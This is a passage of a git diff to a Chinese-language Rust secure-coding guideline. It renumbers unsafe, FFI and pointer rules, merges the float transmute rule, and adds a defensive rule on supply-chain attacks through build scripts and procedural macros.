如果确定该整数对应合法的unicode,可以使用 uncheck 方法加速 +assert_eq!('%', x); + ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/data-type/float.md b/src/safe-guides/coding_practice/data-type/float.md index 929701c0..c9769df2 100644 --- a/src/safe-guides/coding_practice/data-type/float.md +++ b/src/safe-guides/coding_practice/data-type/float.md @@ -8,5 +8,4 @@ Rust 的浮点数包括 `f32` 和 `f64` 两种类型。Rust 编译器默认推 - [G.TYP.FLT.02 从任何数字类型转换为`f64`类型时注意避免损失精度](./float/G.TYP.FLT.02.md) - [G.TYP.FLT.03 对精度高要求的场景下,不应直接使用浮点数进行运算和比较](./float/G.TYP.FLT.03.md) - [G.TYP.FLT.04 宜使用Rust内置方法处理浮点数计算](./float/G.TYP.FLT.04.md) -- [G.TYP.FLT.05 使用字面量定义浮点数时,尽量使用`f64`类型而非`f32`类型](./float/G.TYP.FLT.05.md) -- [G.TYP.FLT.06 禁止在浮点数和整数相互转换时使用 transmute](./float/G.TYP.FLT.06.md) \ No newline at end of file +- [G.TYP.FLT.05 禁止在浮点数和整数相互转换时使用 transmute](./float/G.TYP.FLT.05.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md index cf8278f0..ac624133 100644 --- a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md +++ b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md @@ -1,4 +1,4 @@ -## G.TYP.FLT.03 对精度高要求的场景下,不应直接使用浮点数进行运算和比较 +## G.TYP.FLT.03 对精度高要求的场景下,使用浮点数进行运算和比较时需要注意 **【级别】** 建议 diff --git a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md index 9f374970..5c7b02bf 100644 --- a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md +++ b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.04.md @@ -4,7 +4,7 @@ **【描述】** -内置方法会牺牲一定性能,但可以提升准确性。 +内置方法可能会牺牲一定性能,但可以提升准确性。 **【反例】** diff --git a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md index 6209b112..6fa38a8a 100644 --- a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md +++ b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.05.md @@ -1,29 +1,31 @@ -## G.TYP.FLT.05 使用字面量定义浮点数时,尽量使用 `f64` 类型而非`f32`类型 +## G.TYP.FLT.05 禁止在浮点数和整数相互转换时使用 `transmute` -**【级别】** 建议 +**【级别】** 要求 **【描述】** -在 `f32` 浮点数字面量在定义时,将会损失精度,应该尽量使用 `f64` 类型。 +使用 `transmute` 转换是非常容易出错的,建议使用 `to_bites` 这样转换更加安全。 **【反例】** ```rust -let x : f32 = 16_777_217.0; -assert_eq!(16777216.0, x); +unsafe { + let _: u32 = std::mem::transmute(1f32); + let _: f32 = std::mem::transmute(1_u32); // where x: u32 +} ``` **【正例】** ```rust -let x : f64 = 16_777_217.0; -assert_eq!(16777217.0, x); +let _: f32 = f32::from_bits(1_u32); +let _: u32 = 1f32.to_bits(); ``` **【Lint 检测】** | lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | level | | ------------------------------------------------------------ | ------------- | ------------ | ---------- | ----- | -| [imprecise_flops](https://rust-lang.github.io/rust-clippy/master/#imprecise_flops) | yes | no | nursery | allow | - +| [transmute_float_to_int](https://rust-lang.github.io/rust-clippy/master/#transmute_float_to_int) | yes | no | complexity | warn | +| [transmute_int_to_float](https://rust-lang.github.io/rust-clippy/master/#transmute_int_to_float) | yes | no | complexity | warn | diff --git a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.06.md b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.06.md deleted file mode 100644 index 9eb161dd..00000000 --- a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.06.md +++ /dev/null @@ -1,31 +0,0 @@ -## G.TYP.FLT.06 禁止在浮点数和整数相互转换时使用 `transmute` - -**【级别】** 要求 - -**【描述】** - -使用 `transmute` 转换是非常容易出错的,建议使用 `to_bites` 这样转换更加安全。 - -**【反例】** - -```rust -unsafe { - let _: u32 = std::mem::transmute(1f32); - let _: f32 = std::mem::transmute(1_u32); // where x: u32 -} -``` - -**【正例】** - -```rust -let _: f32 = f32::from_bits(1_u32); -let _: u32 = 1f32.to_bits(); -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | level | -| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ----- | -| [transmute_float_to_int](https://rust-lang.github.io/rust-clippy/master/#transmute_float_to_int) | yes | no | complexity | warn | -| [transmute_int_to_float](https://rust-lang.github.io/rust-clippy/master/#transmute_int_to_float) | yes | no | complexity | warn | - diff --git a/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md b/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md index c08dcfc3..b573bbfc 100644 --- a/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md +++ b/src/safe-guides/coding_practice/data-type/int/G.TYP.INT.01.md @@ -4,7 +4,7 @@ **【描述】** -使用整数计算时需要结合场景和业务来考虑如果发生溢出、回绕或截断的时候,是否会引起严重的问题。 +如果从代码上下文的逻辑来看,该计算不可能产生溢出,则可以不进行校验。 比如,对于时间要求精准的系统,如果在计算时间发生整数溢出,或者去计算某个数组的索引等,那可能会发生严重问题。但如果你只是一个简单的计算器,不会被用到具体的业务场合,那溢出也没有关系,因为你只需要在合理的数字范围内计算性能最好。 diff --git a/src/safe-guides/coding_practice/macros.md b/src/safe-guides/coding_practice/macros.md index fea4b4b3..95128d6d 100644 --- a/src/safe-guides/coding_practice/macros.md +++ b/src/safe-guides/coding_practice/macros.md @@ -41,7 +41,7 @@ cargo rustc --bin hello -- -Z unstable-options --pretty=expanded - [P.MAC.01 不要轻易使用宏](./macros/P.MAC.01.md) - [P.MAC.02 实现宏语法的时候,应该尽量贴近 Rust 语法](./macros/P.MAC.02.md) -- [G.MAC.01 dbg!() 宏只应该在 Debug 模式下使用](./macros/G.MAC.01.md) +- [G.MAC.01 dbg!() 宏只应该用于调试代码](./macros/G.MAC.01.md) - [G.MAC.02 使用宏时应该考虑宏展开会让编译文件膨胀的影响](./macros/G.MAC.02.md) - [声明宏](./macros/decl.md) - [P.MAC.DCL.01 不要将声明宏内的变量作为外部变量使用](./macros/decl/P.MAC.DCL.01.md) diff --git a/src/safe-guides/coding_practice/macros/G.MAC.01.md b/src/safe-guides/coding_practice/macros/G.MAC.01.md index 9482c434..6c6736ea 100644 --- a/src/safe-guides/coding_practice/macros/G.MAC.01.md +++ b/src/safe-guides/coding_practice/macros/G.MAC.01.md @@ -1,10 +1,10 @@ -## G.MAC.01 `dbg!()` 宏只应该在 Debug 模式下使用 +## G.MAC.01 `dbg!()` 宏只应该用于调试代码 **【级别】** 建议 **【描述】** -`dbg!()` 宏是 Rust 内置的宏,其目的是用于调试代码。 +`dbg!()` 宏是 Rust 内置的宏,其目的是用于调试代码。 不要将含有 dbg! 宏的代码加入到版本控制下。 注意:不管在 Debug 模式还是 Release 模式下,调试信息都会被打印出来。 diff --git a/src/safe-guides/coding_practice/security.md b/src/safe-guides/coding_practice/security.md index a0858053..716bce73 100644 --- a/src/safe-guides/coding_practice/security.md +++ b/src/safe-guides/coding_practice/security.md @@ -4,9 +4,11 @@ Security 用于规范可能引起信息安全(Security)缺陷的代码实现 ## 列表 +- [P.SEC.01 使用第三方库的时候要确保可信的依赖,小心供应链攻击](./security/P.SEC.01.md) - [G.SEC.01 代码中不要出现非法 Unicode 字符,也要防范非法 Unicode 字符](./security/G.SEC.01.md) + diff --git a/src/safe-guides/coding_practice/security/P.SEC.01.md b/src/safe-guides/coding_practice/security/P.SEC.01.md new file mode 100644 index 00000000..f3eab42b --- /dev/null +++ b/src/safe-guides/coding_practice/security/P.SEC.01.md @@ -0,0 +1,18 @@ +## P.SEC.01 使用第三方库的时候要确保可信的依赖,小心供应链攻击 + +**【描述】** + +在 npm 中,node-ipc作者最近使用 npm 的安装脚本功能发起了 [供应链投毒攻击](http://blog.nsfocus.net/node-ipc-npm/)。 在 Rust 中,`build.rs` 和 过程宏 有可能被利用来做同样的事。 + +目前 Rust 编译器团队已经在着手起草[构建时使用沙盒的方案](https://github.com/rust-lang/compiler-team/issues/475),但距离最终实现预计还有很长距离。 + +为了避免此类事件发生,可以遵循下列一些使用条款: + +- 尽量减少第三方库的依赖 +- 如果必须使用第三方库,需要对依赖进行安全维护和检查。 + - 为 `Cargo.toml` 中第三方依赖指定确切的版本(“=xyz”而不是“xyz”),如果需要更新版本,则在检查源码后手动应用次要的 SemVer 补丁。 + - 可以使用[`cargo-dephell`](https://github.com/mimoo/cargo-dephell)这样的工具对依赖进行分析 + - 配合[whackadep](https://github.com/diem/whackadep)这样的可视化工具来管理 Rust 依赖 +- 使用 [`cargo-audit`](https://crates.io/crates/cargo-audit) 检测依赖的安全性。 +- 使用自己的构建工具来替代 `Cargo`,可以更加安全。比如 Android 团队使用其`Soong`构建系统支持 Rust ,就选择不支持 `build.rs` ,就是考虑到审查起来太麻烦。 + diff --git a/src/safe-guides/coding_practice/unsafe_rust.md b/src/safe-guides/coding_practice/unsafe_rust.md index 0ee7bd6d..dbf6b69b 100644 --- a/src/safe-guides/coding_practice/unsafe_rust.md +++ b/src/safe-guides/coding_practice/unsafe_rust.md @@ -26,21 +26,21 @@ Unsafe Rust 是 Safe Rust 的超集,意味着在 Unsafe Rust 中也会有 Safe - [P.UNS.SAS.04 要考虑 Panic Safety 的情况](./unsafe_rust/safe_abstract/P.UNS.SAS.04.md) - [G.UNS.SAS.01 在公开的 unsafe 函数的文档中必须增加 Safety 注释](./unsafe_rust/safe_abstract/G.UNS.SAS.01.md) - [G.UNS.SAS.02 在 Unafe 函数中应该使用 `assert!` 而非 `debug_assert!` 去校验边界条件](./unsafe_rust/safe_abstract/G.UNS.SAS.02.md) - - [G.UNS.SAS.03 Unsafe 代码中手动实现 `auto trait` 需要注意](./unsafe_rust/safe_abstract/G.UNS.SAS.03.md) - - [G.UNS.SAS.04 不要随便在公开的 API 中暴露裸指针](./unsafe_rust/safe_abstract/G.UNS.SAS.04.md) - - [G.UNS.SAS.05 在抽象安全方法的同时,也建议为性能考虑而增加相应的 Unsafe 方法](./unsafe_rust/safe_abstract/G.UNS.SAS.05.md) - - [G.UNS.SAS.06 函数参数是不可变借用的时候,返回值不应该是可变借用](./unsafe_rust/safe_abstract/G.UNS.SAS.06.md) - - [G.UNS.SAS.07 在任何 Unsafe 块之前都应该加 `SAFETY` 注释](./unsafe_rust/safe_abstract/G.UNS.SAS.07.md) + - [P.UNS.SAS.05 Unsafe 代码中手动实现 `auto trait` 需要注意](./unsafe_rust/safe_abstract/P.UNS.SAS.05.md) + - [P.UNS.SAS.06 不要随便在公开的 API 中暴露裸指针](./unsafe_rust/safe_abstract/P.UNS.SAS.06.md) + - [P.UNS.SAS.07 在抽象安全方法的同时,也建议为性能考虑而增加相应的 Unsafe 方法](./unsafe_rust/safe_abstract/P.UNS.SAS.07.md) + - [P.UNS.SAS.08 函数参数是不可变借用的时候,返回值不应该是可变借用](./unsafe_rust/safe_abstract/P.UNS.SAS.08.md) + - [P.UNS.SAS.09 在任何 Unsafe 块之前都应该加 `SAFETY` 注释](./unsafe_rust/safe_abstract/P.UNS.SAS.09.md) - [裸指针操作](./unsafe_rust/raw_ptr.md) - [P.UNS.PTR.01 不要将裸指针在多线程间共享](./unsafe_rust/raw_ptr/P.UNS.PTR.01.md) + - [P.UNS.PTR.02 建议使用 `NonNull` 来替代 `*mut T`](./unsafe_rust/raw_ptr/P.UNS.PTR.02.md) + - [P.UNS.PTR.03 使用指针类型构造泛型结构体时,需要使用 PhantomData 来指定 T上的协变和所有权](./unsafe_rust/raw_ptr/P.UNS.PTR.03.md) - [G.UNS.PTR.01 当指针类型被强转为和当前内存对齐不一致的指针类型时,禁止对其解引用](./unsafe_rust/raw_ptr/G.UNS.PTR.01.md) - [G.UNS.PTR.02 禁止将不可变指针手工转换为可变指针](./unsafe_rust/raw_ptr/G.UNS.PTR.02.md) - [G.UNS.PTR.03 尽量使用 pointer::cast 来代替 使用 as 强转指针](./unsafe_rust/raw_ptr/G.UNS.PTR.03.md) - - [G.UNS.PTR.04 建议使用 `NonNull` 来替代 `*mut T`](./unsafe_rust/raw_ptr/G.UNS.PTR.04.md) - - [G.UNS.PTR.05 使用指针类型构造泛型结构体时,需要使用 PhantomData 来指定 T上的协变和所有权](./unsafe_rust/raw_ptr/G.UNS.PTR.05.md) - [联合体](./unsafe_rust/union.md) - - [G.UNS.UNI.01 除了与 C 交互,尽量不要使用 Union](./unsafe_rust/union/G.UNS.UNI.01.md) - - [G.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内](./unsafe_rust/union/G.UNS.UNI.02.md) + - [P.UNS.UNI.01 除了与 C 交互,尽量不要使用 Union](./unsafe_rust/union/P.UNS.UNI.01.md) + - [P.UNS.UNI.02 不要把联合体的不同变体用在不同生命周期内](./unsafe_rust/union/P.UNS.UNI.02.md) - [内存](./unsafe_rust/mem.md) - [P.UNS.MEM.01 要注意选择合适的结构体、元组、枚举的数据布局](./unsafe_rust/mem/P.UNS.MEM.01.md) - [P.UNS.MEM.02 不能修改其它进程/动态库的内存变量](./unsafe_rust/mem/P.UNS.MEM.02.md) @@ -61,9 +61,9 @@ Unsafe Rust 是 Safe Rust 的超集,意味着在 Unsafe Rust 中也会有 Safe - [P.UNS.FFI.10 当 Rust 函数导出外部函数时,必须从设计上保证被跨线程调用的安全性](./unsafe_rust/ffi/P.UNS.FFI.10.md) - [P.UNS.FFI.11 如需引用指定为 `#[repr(packed)]` 内存布局的结构体成员字段要注意合理规避未定义行为](./unsafe_rust/ffi/P.UNS.FFI.11.md) - [P.UNS.FFI.12 当依赖 C 端传入参数时,需要在文档注释中不变性声明,根据不同的调用场景选择合适的安全抽象方式](./unsafe_rust/ffi/P.UNS.FFI.12.md) - - [G.UNS.FFI.01 自定义数据类型要保证一致的数据布局](./unsafe_rust/ffi/G.UNS.FFI.01.md) - - [G.UNS.FFI.02 在 FFi 中使用的类型应该拥有稳定布局](./unsafe_rust/ffi/G.UNS.FFI.02.md) - - [G.UNS.FFI.03 从外部传入的不健壮类型的外部值要进行检查](./unsafe_rust/ffi/G.UNS.FFI.03.md) + - [P.UNS.FFI.13 自定义数据类型要保证一致的数据布局](./unsafe_rust/ffi/P.UNS.FFI.13.md) + - [P.UNS.FFI.14 在 FFi 中使用的类型应该拥有稳定布局](./unsafe_rust/ffi/P.UNS.FFI.14.md) + - [P.UNS.FFI.15 从外部传入的不健壮类型的外部值要进行检查](./unsafe_rust/ffi/P.UNS.FFI.15.md) - [I/O](./unsafe_rust/io.md) - - [G.UNS.FIO.01 在使用原始句柄的时候,要注意 I/O 安全性](./unsafe_rust/io/G.UNS.FIO.01.md) + - [P.UNS.FIO.01 在使用原始句柄的时候,要注意 I/O 安全性](./unsafe_rust/io/P.UNS.FIO.01.md) - [Unsafe 代码术语指南](./unsafe_rust/glossary.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/ffi.md b/src/safe-guides/coding_practice/unsafe_rust/ffi.md index 00ef68e8..ea50b036 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/ffi.md +++ b/src/safe-guides/coding_practice/unsafe_rust/ffi.md @@ -22,7 +22,7 @@ Rust 可以通过C-ABI无缝与C语言打交道,也可以通过暴露 C-ABI - [P.UNS.FFI.10 当 Rust 函数导出外部函数时,必须从设计上保证被跨线程调用的安全性](./ffi/P.UNS.FFI.10.md) - [P.UNS.FFI.11 如需引用指定为 `#[repr(packed)]` 内存布局的结构体成员字段要注意合理规避未定义行为](./ffi/P.UNS.FFI.11.md) - [P.UNS.FFI.12 当依赖 C 端传入参数时,需要在文档注释中不变性声明,根据不同的调用场景选择合适的安全抽象方式](./ffi/P.UNS.FFI.12.md) -- [G.UNS.FFI.01 自定义数据类型要保证一致的数据布局](./ffi/G.UNS.FFI.01.md) -- [G.UNS.FFI.02 在 FFi 中使用的类型应该拥有稳定布局](./ffi/G.UNS.FFI.02.md) -- [G.UNS.FFI.03 从外部传入的不健壮类型的外部值要进行检查](./ffi/G.UNS.FFI.03.md) +- [P.UNS.FFI.13 自定义数据类型要保证一致的数据布局](./ffi/G.UNS.FFI.13.md) +- [P.UNS.FFI.14 在 FFi 中使用的类型应该拥有稳定布局](./ffi/G.UNS.FFI.14.md) +- [P.UNS.FFI.15 从外部传入的不健壮类型的外部值要进行检查](./ffi/G.UNS.FFI.15.md) diff --git a/src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.01.md b/src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.13.md similarity index 59% rename from src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.01.md rename to src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.13.md index f5047d78..e9cfe033 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.01.md +++ b/src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.13.md @@ -1,6 +1,4 @@ -## G.UNS.FFI.01 自定义数据类型要保证一致的数据布局 - -**【级别】** 要求 +## P.UNS.FFI.13 自定义数据类型要保证一致的数据布局 **【描述】** @@ -30,14 +28,4 @@ struct PackedData { b: u16, c: u64, } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制化参考】 - -检测 `-sys` 或 `-ffi` 后缀的crate 或 模块内的自定义结构体、enum、union 有没有指定 `repr` 布局 +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.02.md b/src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.14.md similarity index 67% rename from src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.02.md rename to src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.14.md index 3d54fb20..4cf9b163 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.02.md +++ b/src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.14.md @@ -1,6 +1,4 @@ -## G.UNS.FFI.02 在 FFi 中使用的类型应该拥有稳定布局 - -**【级别】** 要求 +## P.UNS.FFI.14 在 FFi 中使用的类型应该拥有稳定布局 **【描述】** @@ -46,15 +44,4 @@ pub enmu Foo{}; extern { fn get_some_instance() -> *mut Foo; } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------- | ---------- | ---------- | -| _ | no | yes (warning) | _ | yes | - -【定制参考】 - -- 检测 extern 中使用的 Rust 结构体是否为零大小类型,对其产生警告 -- 检测 extern 中使用的 Rust 结构体是否有 `#[repr(C)]` 或 `#[repr(transparent)]` 布局 +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.03.md b/src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.15.md similarity index 52% rename from src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.03.md rename to src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.15.md index cbeadd01..3af2fbfe 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/ffi/G.UNS.FFI.03.md +++ b/src/safe-guides/coding_practice/unsafe_rust/ffi/P.UNS.FFI.15.md @@ -1,6 +1,4 @@ -## G.UNS.FFI.03 从外部传入的不健壮类型的外部值要进行检查 - -**【级别】** 要求 +## P.UNS.FFI.15 从外部传入的不健壮类型的外部值要进行检查 **【描述】** @@ -14,13 +12,3 @@ Rust 中很多类型都不太健壮: - Enum。 跨 FFi 边界两端的 枚举值要经过合法转换。 - 浮点数。 - 包含上述类型的复合类型 - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制参考】 - -lint 可检测 `extern fn ` 函数参数类型,如果是 布尔类型、引用类型、函数指针、枚举、浮点数、或包含前面类型的复合类型,则需要警告开发者注意对这些类型的健壮性检查。 diff --git a/src/safe-guides/coding_practice/unsafe_rust/io/G.UNS.FIO.01.md b/src/safe-guides/coding_practice/unsafe_rust/io/P.UNS.FIO.01.md similarity index 66% rename from src/safe-guides/coding_practice/unsafe_rust/io/G.UNS.FIO.01.md rename to src/safe-guides/coding_practice/unsafe_rust/io/P.UNS.FIO.01.md index e88a8266..4dcd6de9 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/io/G.UNS.FIO.01.md +++ b/src/safe-guides/coding_practice/unsafe_rust/io/P.UNS.FIO.01.md @@ -1,6 +1,4 @@ -## G.UNS.FIO.01 在使用原始句柄的时候,要注意 I/O 安全性 - -**【级别】** 要求 +## P.UNS.FIO.01 在使用原始句柄的时候,要注意 I/O 安全性 **【描述】** @@ -18,13 +16,3 @@ pub fn do_some_io(input: &FD) -> io::Result<()> { 在一些特殊的情况下,违反 I/O 安全甚至会导致内存安全。 -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制参考】 - -检测在 IO 时使用 `as_raw_fd` 调用时,警告开发者这是 Unsafe 的,要对传入的原始文件描述符的安全性进行考察。 - diff --git a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr.md b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr.md index d5d07ed4..0e5ae65b 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr.md +++ b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr.md @@ -14,8 +14,8 @@ Rust提供了`*const T`(不变)和`*mut T`(可变)两种指针类型。 ## 列表 - [P.UNS.PTR.01 不要将裸指针在多线程间共享](./raw_ptr/P.UNS.PTR.01.md) +- [P.UNS.PTR.02 建议使用 `NonNull` 来替代 `*mut T`](./raw_ptr/P.UNS.PTR.02.md) +- [P.UNS.PTR.03 使用指针类型构造泛型结构体时,需要使用 PhantomData 来指定 T上的协变和所有权](./raw_ptr/P.UNS.PTR.03.md) - [G.UNS.PTR.01 当指针类型被强转为和当前内存对齐不一致的指针类型时,禁止对其解引用](./raw_ptr/G.UNS.PTR.01.md) - [G.UNS.PTR.02 禁止将不可变指针手工转换为可变指针](./raw_ptr/G.UNS.PTR.02.md) - [G.UNS.PTR.03 尽量使用 pointer::cast 来代替 使用 as 强转指针](./raw_ptr/G.UNS.PTR.03.md) -- [G.UNS.PTR.04 建议使用 `NonNull` 来替代 `*mut T`](./raw_ptr/G.UNS.PTR.04.md) -- [G.UNS.PTR.05 使用指针类型构造泛型结构体时,需要使用 PhantomData 来指定 T上的协变和所有权](./raw_ptr/G.UNS.PTR.05.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.04.md b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.02.md similarity index 54% rename from src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.04.md rename to src/safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.02.md index d63478e1..6553f902 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.04.md +++ b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.02.md @@ -1,6 +1,4 @@ -## G.UNS.PTR.04 建议使用 `NonNull` 来替代 `*mut T` - -**【级别】** 建议 +## P.UNS.PTR.02 建议使用 `NonNull` 来替代 `*mut T` **【描述】** @@ -24,12 +22,4 @@ if let Some(ptr) = NonNull::::new(std::ptr::null_mut()) { } ``` -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制参考】 -检测到包含 `*mut T`类型的结构体,应该给予开发者警告或建议去使用 `NonNull` 。 diff --git a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.05.md b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.03.md similarity index 61% rename from src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.05.md rename to src/safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.03.md index 432e245c..079c3b77 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.05.md +++ b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/P.UNS.PTR.03.md @@ -1,6 +1,4 @@ -## G.UNS.PTR.05 使用指针类型构造泛型结构体时,需要使用 `PhantomData` 来指定 `T`上的协变和所有权 - -**【级别】** 建议 +## P.UNS.PTR.03 使用指针类型构造泛型结构体时,需要使用 `PhantomData` 来指定 `T`上的协变和所有权 **【描述】** @@ -32,14 +30,4 @@ struct Vec { cap: usize, _marker: marker::PhantomData, // 让 Vec 拥有 T,并且让 指针有了协变 } -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制参考】 - -检测使用指针类型构造泛型结构体时,如果没有 `PhantomData` 类型的字段,则需要警告开发者,要考虑 为裸指针配合`PhantomData`来指定协变和所有权 +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract.md index 5673fb8c..e2153183 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract.md @@ -15,10 +15,11 @@ Unsafe Rust 中 API 的安全性设计通常有两种方式: - [P.UNS.SAS.02 Unsafe 代码编写者有义务检查代码是否满足安全不变式](./safe_abstract/P.UNS.SAS.02.md) - [P.UNS.SAS.03 不要随便在公开的 API 中暴露未初始化内存](./uafe_abstract/P.UNS.SAS.03.md) - [P.UNS.SAS.04 要考虑 Panic Safety 的情况](./safe_abstract/P.UNS.SAS.04.md) +- [P.UNS.SAS.05 Unsafe 代码中手动实现 `auto trait` 需要注意](./safe_abstract/P.UNS.SAS.05.md) +- [P.UNS.SAS.06 不要随便在公开的 API 中暴露裸指针](./safe_abstract/P.UNS.SAS.06.md) +- [P.UNS.SAS.07 在抽象安全方法的同时,也建议为性能考虑而增加相应的 Unsafe 方法](./safe_abstract/P.UNS.SAS.07.md) +- [P.UNS.SAS.08 函数参数是不可变借用的时候,返回值不应该是可变借用](./safe_abstract/P.UNS.SAS.08.md) +- [P.UNS.SAS.09 在任何 Unsafe 块之前都应该加 `SAFETY` 注释](./safe_abstract/P.UNS.SAS.09.md) - [G.UNS.SAS.01 在公开的 unsafe 函数的文档中必须增加 Safety 注释](./safe_abstract/G.UNS.SAS.01.md) - [G.UNS.SAS.02 在 Unafe 函数中应该使用 `assert!` 而非 `debug_assert!` 去校验边界条件](./safe_abstract/G.UNS.SAS.02.md) -- [G.UNS.SAS.03 Unsafe 代码中手动实现 `auto trait` 需要注意](./safe_abstract/G.UNS.SAS.03.md) -- [G.UNS.SAS.04 不要随便在公开的 API 中暴露裸指针](./safe_abstract/G.UNS.SAS.04.md) -- [G.UNS.SAS.05 在抽象安全方法的同时,也建议为性能考虑而增加相应的 Unsafe 方法](./safe_abstract/G.UNS.SAS.05.md) -- [G.UNS.SAS.06 函数参数是不可变借用的时候,返回值不应该是可变借用](./safe_abstract/G.UNS.SAS.06.md) -- [G.UNS.SAS.07 在任何 Unsafe 块之前都应该加 `SAFETY` 注释](./safe_abstract/G.UNS.SAS.07.md) \ No newline at end of file + diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.03.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md similarity index 80% rename from src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.03.md rename to src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md index abb15e91..86d2bb33 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.03.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/P.UNS.SAS.05.md @@ -1,6 +1,4 @@ -## G.UNS.SAS.03 Unsafe 代码中手动实现 auto trait 需要注意 - -**【级别】** 要求 +## P.UNS.SAS.05 Unsafe 代码中手动实现 auto trait 需要注意 **【描述】** @@ -48,13 +46,3 @@ for MappedMutexGuard<'_, T, U> {} // PoC: this safe Rust code allows race on reference counter * MutexGuard::map(guard, |_| Box::leak(Box::new(Rc::new(true)))); ``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -【定制参考】 - -Lint 需要检测 手工实现 auto trait 的行为,比如 `Sync/Send`,对开发者发出警告,要注意考虑其安全性 diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.04.md 